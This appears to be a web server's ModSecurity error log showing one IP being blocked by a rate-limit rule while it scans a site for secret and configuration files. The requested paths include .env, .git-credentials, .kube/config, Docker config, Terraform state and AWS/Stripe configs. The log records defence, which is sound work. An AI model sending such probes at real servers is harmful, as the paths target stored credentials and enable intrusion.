[Tue May 19 19:59:55.506009 2026] [:error] [pid 41573:tid 41575] [client 77.83.39.119:18666] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/helm/values%2eyaml"] [unique_id "agxQuy1A2bd6JDSW9RaLqwAAAQA"]
[Tue May 19 19:59:55.506441 2026] [:error] [pid 41573:tid 41586] [client 77.83.39.119:18604] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/serverless%2eyml"] [unique_id "agxQuy1A2bd6JDSW9RaLrQAAAQs"]
[Tue May 19 19:59:55.506784 2026] [:error] [pid 41573:tid 41598] [client 77.83.39.119:18632] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/serverless%2ejson"] [unique_id "agxQuy1A2bd6JDSW9RaLrgAAARc"]
[Tue May 19 19:59:55.507099 2026] [:error] [pid 41573:tid 41576] [client 77.83.39.119:18636] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inngest"] [unique_id "agxQuy1A2bd6JDSW9RaLrAAAAQE"]
[Tue May 19 19:59:55.507410 2026] [:error] [pid 41573:tid 41591] [client 77.83.39.119:18664] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2ekube/config"] [unique_id "agxQuy1A2bd6JDSW9RaLrwAAARA"]
[Tue May 19 19:59:55.507410 2026] [:error] [pid 55881:tid 55897] [client 77.83.39.119:62926] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/oauth1-credential/auth"] [unique_id "agxQu--UExma0LUC7WADsAAAAk4"]
[Tue May 19 19:59:55.586431 2026] [:error] [pid 38697:tid 38724] [client 77.83.39.119:62896] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/stripe%2ejson"] [unique_id "agxQu6XP9pP6Kgt-msRNcAAAAAk"]
[Tue May 19 19:59:55.586431 2026] [:error] [pid 46815:tid 46840] [client 77.83.39.119:62898] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rest/oauth2-credential/auth"] [unique_id "agxQuyPnRhJOmA06LgpyeQAAAVc"]
[Tue May 19 19:59:55.632105 2026] [:error] [pid 38699:tid 38748] [client 77.83.39.119:18618] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/serverless%2eyaml"] [unique_id "agxQu7--Adsw_P-dthafHAAAAEY"]
[Tue May 19 19:59:55.632368 2026] [:error] [pid 46815:tid 46822] [client 77.83.39.119:18708] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/docker-compose%2eyml"] [unique_id "agxQuyPnRhJOmA06LgpyegAAAUU"]
[Tue May 19 19:59:55.632597 2026] [:error] [pid 38699:tid 38745] [client 77.83.39.119:18650] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/serverless%2eyaml"] [unique_id "agxQu7--Adsw_P-dthafHQAAAEM"]
[Tue May 19 19:59:55.633286 2026] [:error] [pid 38705:tid 38788] [client 77.83.39.119:18684] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/docker-compose%2eyaml"] [unique_id "agxQu8g5dNOZ5umN9ltgFQAAAJM"]
[Tue May 19 19:59:55.633247 2026] [:error] [pid 46815:tid 46829] [client 77.83.39.119:18642] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/serverless%2eyml"] [unique_id "agxQuyPnRhJOmA06LgpyewAAAUw"]
[Tue May 19 19:59:55.633860 2026] [:error] [pid 38697:tid 38718] [client 77.83.39.119:62908] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config/storage%2eyml"] [unique_id "agxQu6XP9pP6Kgt-msRNcQAAAAM"]
[Tue May 19 19:59:55.973135 2026] [:error] [pid 46815:tid 46836] [client 77.83.39.119:18698] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/docker-compose%2eyml"] [unique_id "agxQuyPnRhJOmA06LgpyfQAAAVM"]
[Tue May 19 19:59:55.973633 2026] [:error] [pid 38814:tid 38821] [client 77.83.39.119:62940] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2f%2eenv"] [unique_id "agxQuwvkKuBwP0epzWedbwAAAMU"]
[Tue May 19 19:59:56.033159 2026] [:error] [pid 41573:tid 41579] [client 77.83.39.119:18798] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/netlify%2etoml"] [unique_id "agxQvC1A2bd6JDSW9RaLsQAAAQQ"]
[Tue May 19 19:59:56.033217 2026] [:error] [pid 41573:tid 41589] [client 77.83.39.119:18764] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/vercel%2ejson"] [unique_id "agxQvC1A2bd6JDSW9RaLsgAAAQ4"]
[Tue May 19 19:59:56.033998 2026] [:error] [pid 38814:tid 38825] [client 77.83.39.119:51352] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app_dev.php/_profiler/open"] [unique_id "agxQvAvkKuBwP0epzWedcAAAAMk"]
[Tue May 19 19:59:56.034322 2026] [:error] [pid 55881:tid 55889] [client 77.83.39.119:51358] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api/%2eenv"] [unique_id "agxQvO-UExma0LUC7WADsQAAAkY"]
[Tue May 19 19:59:56.034698 2026] [:error] [pid 55881:tid 55901] [client 77.83.39.119:51346] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2edocker/config%2ejson"] [unique_id "agxQvO-UExma0LUC7WADsgAAAlI"]
[Tue May 19 19:59:56.081613 2026] [:error] [pid 29823:tid 29853] [client 77.83.39.119:18742] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws_s3_config%2ejson"] [unique_id "agxQvGO09C0nAz8vRk5BIAAAAc4"]
[Tue May 19 19:59:56.084805 2026] [:error] [pid 46896:tid 46902] [client 77.83.39.119:18758] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/nuxt%2econfig%2ejs"] [unique_id "agxQvKCHyzL3Ci9LGE1hkwAAAYQ"]
[Tue May 19 19:59:56.184991 2026] [:error] [pid 38705:tid 38786] [client 77.83.39.119:18714] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/next%2econfig%2ejs"] [unique_id "agxQvMg5dNOZ5umN9ltgFwAAAJE"]
[Tue May 19 19:59:56.201446 2026] [:error] [pid 29823:tid 29842] [client 77.83.39.119:18776] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/next%2econfig%2emjs"] [unique_id "agxQvGO09C0nAz8vRk5BIQAAAcc"]
[Tue May 19 19:59:56.667644 2026] [:error] [pid 55881:tid 55894] [client 77.83.39.119:18730] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_profiler/latest"] [unique_id "agxQvO-UExma0LUC7WADswAAAks"]
[Tue May 19 19:59:56.667644 2026] [:error] [pid 46896:tid 46920] [client 77.83.39.119:18792] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/next%2econfig%2ets"] [unique_id "agxQvKCHyzL3Ci9LGE1hlAAAAZY"]
[Tue May 19 19:59:56.667644 2026] [:error] [pid 41573:tid 41587] [client 77.83.39.119:18732] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/swagger%2ejson"] [unique_id "agxQvC1A2bd6JDSW9RaLswAAAQw"]
[Tue May 19 19:59:56.945069 2026] [:error] [pid 46815:tid 46826] [client 77.83.39.119:62964] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/docker-compose%2eyml"] [unique_id "agxQvCPnRhJOmA06LgpyfgAAAUk"]
[Tue May 19 19:59:56.994560 2026] [:error] [pid 38814:tid 38830] [client 77.83.39.119:62984] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api/%2eenv"] [unique_id "agxQvAvkKuBwP0epzWedcQAAAM4"]
[Tue May 19 19:59:56.995277 2026] [:error] [pid 29823:tid 29860] [client 77.83.39.119:62974] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/vercel%2ejson"] [unique_id "agxQvGO09C0nAz8vRk5BIwAAAdU"]
[Tue May 19 19:59:56.998139 2026] [:error] [pid 29823:tid 29852] [client 77.83.39.119:62990] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app_dev.php/_profiler/open"] [unique_id "agxQvGO09C0nAz8vRk5BJAAAAc0"]
[Tue May 19 19:59:57.198305 2026] [:error] [pid 38814:tid 38829] [client 77.83.39.119:63008] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/serverless%2ejson"] [unique_id "agxQvQvkKuBwP0epzWedcgAAAM0"]
[Tue May 19 19:59:57.198339 2026] [:error] [pid 38699:tid 38754] [client 77.83.39.119:63018] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/next%2econfig%2ejs"] [unique_id "agxQvb--Adsw_P-dthafHgAAAEw"]
[Tue May 19 19:59:57.338674 2026] [:error] [pid 46896:tid 46910] [client 77.83.39.119:63000] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/next%2econfig%2emjs"] [unique_id "agxQvaCHyzL3Ci9LGE1hlQAAAYw"]
[Tue May 19 19:59:57.393795 2026] [:error] [pid 29823:tid 29855] [client 77.83.39.119:63066] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/_profiler/latest"] [unique_id "agxQvWO09C0nAz8vRk5BJQAAAdA"]
[Tue May 19 19:59:57.440691 2026] [:error] [pid 38699:tid 38743] [client 77.83.39.119:63060] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/swagger%2ejson"] [unique_id "agxQvb--Adsw_P-dthafHwAAAEE"]
[Tue May 19 19:59:57.441649 2026] [:error] [pid 29823:tid 29847] [client 77.83.39.119:63076] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/next%2econfig%2ets"] [unique_id "agxQvWO09C0nAz8vRk5BJgAAAcg"]
[Tue May 19 19:59:57.569873 2026] [:error] [pid 38697:tid 38715] [client 77.83.39.119:51386] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/%2eterraform/terraform%2etfstate"] [unique_id "agxQvaXP9pP6Kgt-msRNcwAAAAA"]
[Tue May 19 19:59:57.570893 2026] [:error] [pid 38814:tid 38839] [client 77.83.39.119:51368] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2eamplifyrc"] [unique_id "agxQvQvkKuBwP0epzWedcwAAANc"]
[Tue May 19 19:59:57.647315 2026] [:error] [pid 38705:tid 38769] [client 77.83.39.119:63036] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/task/nuxt%2econfig%2ejs"] [unique_id "agxQvcg5dNOZ5umN9ltgGAAAAIA"]
[Tue May 19 19:59:57.647315 2026] [:error] [pid 29823:tid 29857] [client 77.83.39.119:63030] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2edocker/config%2ejson"] [unique_id "agxQvWO09C0nAz8vRk5BJwAAAdI"]
[Tue May 19 19:59:57.648829 2026] [:error] [pid 29823:tid 29854] [client 77.83.39.119:63044] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws_s3_config%2ejson"] [unique_id "agxQvWO09C0nAz8vRk5BKAAAAc8"]
[Tue May 19 19:59:58.379803 2026] [:error] [pid 38814:tid 38838] [client 77.83.39.119:51402] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit/config"] [unique_id "agxQvgvkKuBwP0epzWeddAAAANY"]
[Tue May 19 19:59:58.523938 2026] [:error] [pid 38697:tid 38720] [client 77.83.39.119:51378] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/terraform%2etfstate"] [unique_id "agxQvqXP9pP6Kgt-msRNdAAAAAU"]
[Tue May 19 19:59:59.619772 2026] [:error] [pid 46896:tid 46918] [client 77.83.39.119:63088] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit/config"] [unique_id "agxQv6CHyzL3Ci9LGE1hlgAAAZQ"]
[Tue May 19 20:04:30.734653 2026] [:error] [pid 38697:tid 38736] [client 77.83.39.119:2366] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws/buckets"] [unique_id "agxRzqXP9pP6Kgt-msRNzwAAABU"]
[Tue May 19 20:04:31.322978 2026] [:error] [pid 41573:tid 41577] [client 77.83.39.119:2412] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/var/www/html/%2eenv"] [unique_id "agxRzy1A2bd6JDSW9RaMVwAAAQI"]
[Tue May 19 20:04:31.573423 2026] [:error] [pid 41573:tid 41580] [client 77.83.39.119:2414] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/%2egit-credentials"] [unique_id "agxRzy1A2bd6JDSW9RaMWAAAAQU"]
[Tue May 19 20:04:31.633341 2026] [:error] [pid 41573:tid 41594] [client 77.83.39.119:2420] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws/buckets"] [unique_id "agxRzy1A2bd6JDSW9RaMWQAAARM"]
[Tue May 19 20:04:31.633461 2026] [:error] [pid 38697:tid 38735] [client 77.83.39.119:6982] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/app/netlify%2etoml"] [unique_id "agxRz6XP9pP6Kgt-msRN0QAAABQ"]
[Tue May 19 20:04:32.114826 2026] [:error] [pid 38699:tid 38745] [client 77.83.39.119:7030] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3%2eproperties"] [unique_id "agxR0L--Adsw_P-dthagBQAAAEM"]
[Tue May 19 20:04:32.115658 2026] [:error] [pid 38699:tid 38765] [client 77.83.39.119:7004] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3%2eyml"] [unique_id "agxR0L--Adsw_P-dthagBgAAAFc"]
[Tue May 19 20:04:32.115814 2026] [:error] [pid 38699:tid 38743] [client 77.83.39.119:6994] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aws%2ejson"] [unique_id "agxR0L--Adsw_P-dthagBwAAAEE"]
[Tue May 19 20:04:32.378941 2026] [:error] [pid 38699:tid 38742] [client 77.83.39.119:7014] [client 77.83.39.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3%2eyaml"] [unique_id "agxR0L--Adsw_P-dthagCAAAAEA"]
